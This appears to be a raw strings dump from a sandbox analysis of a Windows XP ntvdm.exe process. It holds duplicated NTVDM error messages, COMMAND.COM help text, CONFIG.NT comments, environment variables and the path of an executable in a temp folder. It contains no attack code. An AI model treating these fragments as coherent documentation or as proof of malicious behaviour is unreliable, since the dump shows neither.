5.1.2600.5512 (xpsp.080413-2111)
5.1.2600.5512 (xpsp.080413-2111)
Windows
Windows
Operating System
Operating System
5.1.2600.5512
5.1.2600.5512
5The NTVDM CPU has encountered an illegal instruction."Internal error in NTVDM procedure.#NTVDM does not support a ROM BASIC.BFailure to allocate the requested number of Expanded Memory pages.*A continuous RESET state has been entered.,The CMOS file cmos.ram could not be created.,The CMOS file cmos.ram could not be updated.
5The NTVDM CPU has encountered an illegal instruction."Internal error in NTVDM procedure.#NTVDM does not support a ROM BASIC.BFailure to allocate the requested number of Expanded Memory pages.*A continuous RESET state has been entered.,The CMOS file cmos.ram could not be created.,The CMOS file cmos.ram could not be updated.
LAn installation file required by NTVDM is missing, execution must terminate.
LAn installation file required by NTVDM is missing, execution must terminate.
Insufficient memory resources.=The NTVDM CPU has encountered an unsupported 386 instruction.TThe EMM command line in your config.nt contains invalid parameters or syntax errors.5The NTVDM CPU has encountered an unhandled exception.t
Insufficient memory resources.=The NTVDM CPU has encountered an unsupported 386 instruction.TThe EMM command line in your config.nt contains invalid parameters or syntax errors.5The NTVDM CPU has encountered an unhandled exception.t
MS-DOS program files must end with the extension .EXE, .COM, or .BAT.
MS-DOS program files must end with the extension .EXE, .COM, or .BAT.
vAn application has attempted to %s, which cannot be supported. This may cause the application to function incorrectly./directly access an incompatible diskette format
vAn application has attempted to %s, which cannot be supported. This may cause the application to function incorrectly./directly access an incompatible diskette format
16 bit Windows Subsystem
16 bit Windows Subsystem
VThe system file is not suitable for running MS-DOS and Microsoft Windows applications."Memory error during intialization.
VThe system file is not suitable for running MS-DOS and Microsoft Windows applications."Memory error during intialization.
Unable to lock for exclusive access. Another application may be using the drive. When the other application has finished using the drive you may retry the operation.
Unable to lock for exclusive access. Another application may be using the drive. When the other application has finished using the drive you may retry the operation.
Drive %c: ZThe Application attempted to enable DOS graphics mode. DOS graphics mode is not supported.
Drive %c: ZThe Application attempted to enable DOS graphics mode. DOS graphics mode is not supported.
Function failed$NTVDM has encountered a System Error*Driver does not support selected Baud Rate
Function failed$NTVDM has encountered a System Error*Driver does not support selected Baud Rate
ntvdm.exe_1436_rwx_00000000_00010000:
C:\DOCUME~1\ADM\LOCALS~1\TEMP\NSZ2.TMP\G0828_~1.EXE
C:\DOCUME~1\ADM\LOCALS~1\TEMP\NSZ2.TMP\G0828_~1.EXE
G0828_~1EXE
G0828_~1EXE
."/\[]:| =;,
."/\[]:| =;,
c:\wina20.386
c:\wina20.386
%WinDir%\SYSTEM32\COUNTRY.SYS
%WinDir%\SYSTEM32\COUNTRY.SYS
url=""
url=""
89:;?
89:;?
1234567890-=
1234567890-=
!@#$%^&*()_
!@#$%^&*()_
789-456 1230.
789-456 1230.
!"#$%&,-./012
!"#$%&,-./012
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp
%WinDir%\SYSTEM32\COMMAND.COM
%WinDir%\SYSTEM32\COMMAND.COM
%File allocation table bad, drive %1
%File allocation table bad, drive %1
Invalid COMMAND.COM
Invalid COMMAND.COM
!Press any key to continue . . .
!Press any key to continue . . .
Cannot execute %1
Cannot execute %1
Error in EXE file
Error in EXE file
%WinDir%\TEMP\scsA.tmp
%WinDir%\TEMP\scsA.tmp
arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
OS=Windows_NT
OS=Windows_NT
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
SYSTEMROOT=%WinDir%
SYSTEMROOT=%WinDir%
TEMP=%WinDir%\TEMP
TEMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
\COMMAND.COM
\COMMAND.COM
COMSPEC=\COMMAND.COM
COMSPEC=\COMMAND.COM
BMicrosoft(R) Windows DOS
BMicrosoft(R) Windows DOS
FCOMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]
FCOMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]
H [drive:]path Specifies the directory containing COMMAND.COM file.
H [drive:]path Specifies the directory containing COMMAND.COM file.
N /MSG Specifies that all error messages be stored in memory. You
N /MSG Specifies that all error messages be stored in memory. You
%Intermediate file error during pipe
%Intermediate file error during pipe
Switches may be preset in the DIRCMD environment variable. Override
Switches may be preset in the DIRCMD environment variable. Override
>Quits the COMMAND.COM program (command interpreter).
>Quits the COMMAND.COM program (command interpreter).
]Displays or sets a search path for executable files.
]Displays or sets a search path for executable files.
$B | (pipe)
$B | (pipe)
%Displays the MS-DOS version.
%Displays the MS-DOS version.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
key to continue...."
key to continue...."
PATH=PROMPT=COMSPEC=DIRCMD=
PATH=PROMPT=COMSPEC=DIRCMD=
.COM.EXE.BAT?VBAPWRHSvDANEDSG
.COM.EXE.BAT?VBAPWRHSvDANEDSG
%WinDir%\SYSTEM32
%WinDir%\SYSTEM32
[]| =;"
[]| =;"
ntvdm.exe_1436_rwx_00010000_00090000:
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
%WinDir%\TEMP\scsA.tmp
%WinDir%\TEMP\scsA.tmp
89:;?
89:;?
0WINDOWS MS-DOS STARTUP FILE
0WINDOWS MS-DOS STARTUP FILE
0CONFIG.SYS VS CONFIG.NT
0CONFIG.SYS VS CONFIG.NT
0CONFIG.SYS IS NOT USED TO INITIALIZE THE MS-DOS ENVIRONMENT.
0CONFIG.SYS IS NOT USED TO INITIALIZE THE MS-DOS ENVIRONMENT.
0CONFIG.NT IS USED TO INITIALIZE THE MS-DOS ENVIRONMENT UNLESS A
0CONFIG.NT IS USED TO INITIALIZE THE MS-DOS ENVIRONMENT UNLESS A
0IS INITIALIZED. TO DISPLAY CONFIG.NT/AUTOEXEC.NT INFORMATION, ADD
0IS INITIALIZED. TO DISPLAY CONFIG.NT/AUTOEXEC.NT INFORMATION, ADD
0THE COMMAND ECHOCONFIG TO CONFIG.NT OR OTHER STARTUP FILE.
0THE COMMAND ECHOCONFIG TO CONFIG.NT OR OTHER STARTUP FILE.
0NTCMDPROMPT
0NTCMDPROMPT
0MS-DOS-BASED APPLICATION, WINDOWS RUNS COMMAND.COM. THIS ALLOWS THE
0MS-DOS-BASED APPLICATION, WINDOWS RUNS COMMAND.COM. THIS ALLOWS THE
0TSR TO REMAIN ACTIVE. TO RUN CMD.EXE, THE WINDOWS COMMAND PROMPT,
0TSR TO REMAIN ACTIVE. TO RUN CMD.EXE, THE WINDOWS COMMAND PROMPT,
0RATHER THAN COMMAND.COM, ADD THE COMMAND NTCMDPROMPT TO CONFIG.NT OR
0RATHER THAN COMMAND.COM, ADD THE COMMAND NTCMDPROMPT TO CONFIG.NT OR
0COMMAND.COM. IF YOU START AN APPLICATION OTHER THAN AN MS-DOS-BASED
0COMMAND.COM. IF YOU START AN APPLICATION OTHER THAN AN MS-DOS-BASED
0CONFIG.NT OR OTHER STARTUP FILE.
0CONFIG.NT OR OTHER STARTUP FILE.
0WANT THE SYSTEM TO SUPPORT. 1
0WANT THE SYSTEM TO SUPPORT. 1
0AND LEAVE THE RESTS(IF AVAILABLE) TO BE USED BY DOS TO SUPPORT
0AND LEAVE THE RESTS(IF AVAILABLE) TO BE USED BY DOS TO SUPPORT
0WITH YOUR APPLICATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE
0WITH YOUR APPLICATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE
D%WinDir%\SYSTEM32\HIMEM.SYS
D%WinDir%\SYSTEM32\HIMEM.SYS
Q001,437,%WinDir%\SYSTEM32\COUNTRY.SYS
Q001,437,%WinDir%\SYSTEM32\COUNTRY.SYS
S%WinDir%\SYSTEM32\COMMAND.COM
S%WinDir%\SYSTEM32\COMMAND.COM
/P %WinDir%\SYSTEM32
/P %WinDir%\SYSTEM32
ATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE
ATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE
DEVICE=%WinDir%\SYSTEM32\HIMEM.SYS
DEVICE=%WinDir%\SYSTEM32\HIMEM.SYS
COUNTRY=001,437,%WinDir%\SYSTEM32\COUNTRY.SYS
COUNTRY=001,437,%WinDir%\SYSTEM32\COUNTRY.SYS
SHELL=%WinDir%\SYSTEM32\COMMAND.COM /P %WinDir%\SYSTEM32
SHELL=%WinDir%\SYSTEM32\COMMAND.COM /P %WinDir%\SYSTEM32
%WinDir%\SYSTEM32\COUNTRY.SYS
%WinDir%\SYSTEM32\COUNTRY.SYS
[]| =;"
[]| =;"
%WinDir%\TEMP\scs9.tmp
%WinDir%\TEMP\scs9.tmp
%WinDir%\SYSTEM32\COMMAND.COM
%WinDir%\SYSTEM32\COMMAND.COM
NTCMDPROMPTT
NTCMDPROMPTT
Unrecognized command in CONFIG.SYS
Unrecognized command in CONFIG.SYS
Insufficient memory for COUNTRY.SYS file
Insufficient memory for COUNTRY.SYS file
Incorrect order in CONFIG.SYS line $Error in CONFIG.SYS line $WARNING! Logical drives past Z: exist and will be ignored
Incorrect order in CONFIG.SYS line $Error in CONFIG.SYS line $WARNING! Logical drives past Z: exist and will be ignored
1234567890-=
1234567890-=
!@#$%^&*()_
!@#$%^&*()_
789-456 1230.
789-456 1230.
!"#$%&,-./012
!"#$%&,-./012
00030
00030
30333
30333
?0?3???
?0?3???
Windows NT MS-DOS subsystem Mouse Driver
Windows NT MS-DOS subsystem Mouse Driver
/)()(00)(
/)()(00)(
/@%}-{.Nb#b
/@%}-{.Nb#b
!Press any key to continue . . .
!Press any key to continue . . .
%Intermediate file error during pipe
%Intermediate file error during pipe
Switches may be preset in the DIRCMD environment variable. Override
Switches may be preset in the DIRCMD environment variable. Override
>Quits the COMMAND.COM program (command interpreter).
>Quits the COMMAND.COM program (command interpreter).
]Displays or sets a search path for executable files.
]Displays or sets a search path for executable files.
$B | (pipe)
$B | (pipe)
%Displays the MS-DOS version.
%Displays the MS-DOS version.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
key to continue...."
key to continue...."
PATH=PROMPT=COMSPEC=DIRCMD=
PATH=PROMPT=COMSPEC=DIRCMD=
.COM.EXE.BAT?VBAPWRHSvDANEDSG
.COM.EXE.BAT?VBAPWRHSvDANEDSG
%WinDir%\SYSTEM32\DOSX
%WinDir%\SYSTEM32\DOSX
NT.EXE
NT.EXE
C:\DOCUME~1\ADM\LOCALS~1\TEMP\NSZ2.TMP\G0828_~1.EXE
C:\DOCUME~1\ADM\LOCALS~1\TEMP\NSZ2.TMP\G0828_~1.EXE
nt.exe
nt.exe
DOSX.EXE
DOSX.EXE
ntvdm.exe_1436_rwx_000A0000_00020000:
66666666
66666666
6666666
6666666
6666666666666666
6666666666666666
6666666676666666
6666666676666666
6666667076666666
6666667076666666
ntvdm.exe_1436_rwx_000C9000_00013000:
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
OS=Windows_NT
OS=Windows_NT
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
SYSTEMROOT=%WinDir%
SYSTEMROOT=%WinDir%
TEMP=%WinDir%\TEMP
TEMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
%System%\DOSX.EXE
%System%\DOSX.EXE
%System%\mscdexnt.exe
%System%\mscdexnt.exe
VCDEX.DLL
VCDEX.DLL
%System%\redir
%System%\redir
(load before dosx.exe)
(load before dosx.exe)
C:\LANMAN.DOS
C:\LANMAN.DOS
%System%\dosx
%System%\dosx
%System%\krnl386.exe
%System%\krnl386.exe
krnl386.exe
krnl386.exe
SYSTEM.INI
SYSTEM.INI
ntvdm.exe_1436_rwx_000E8000_00008000:
00030
00030
30333
30333
?0?3???
?0?3???
Windows NT MS-DOS subsystem Mouse Driver
Windows NT MS-DOS subsystem Mouse Driver
ntvdm.exe_1436_rwx_00100000_00010000:
/)()(00)(
/)()(00)(
/@%}-{.Nb#b
/@%}-{.Nb#b
to run Windows in Enhanced Mode
to run Windows in Enhanced Mode
69797:6%7'6
69797:6%7'6
C%D%DGDGD8EyD
C%D%DGDGD8EyD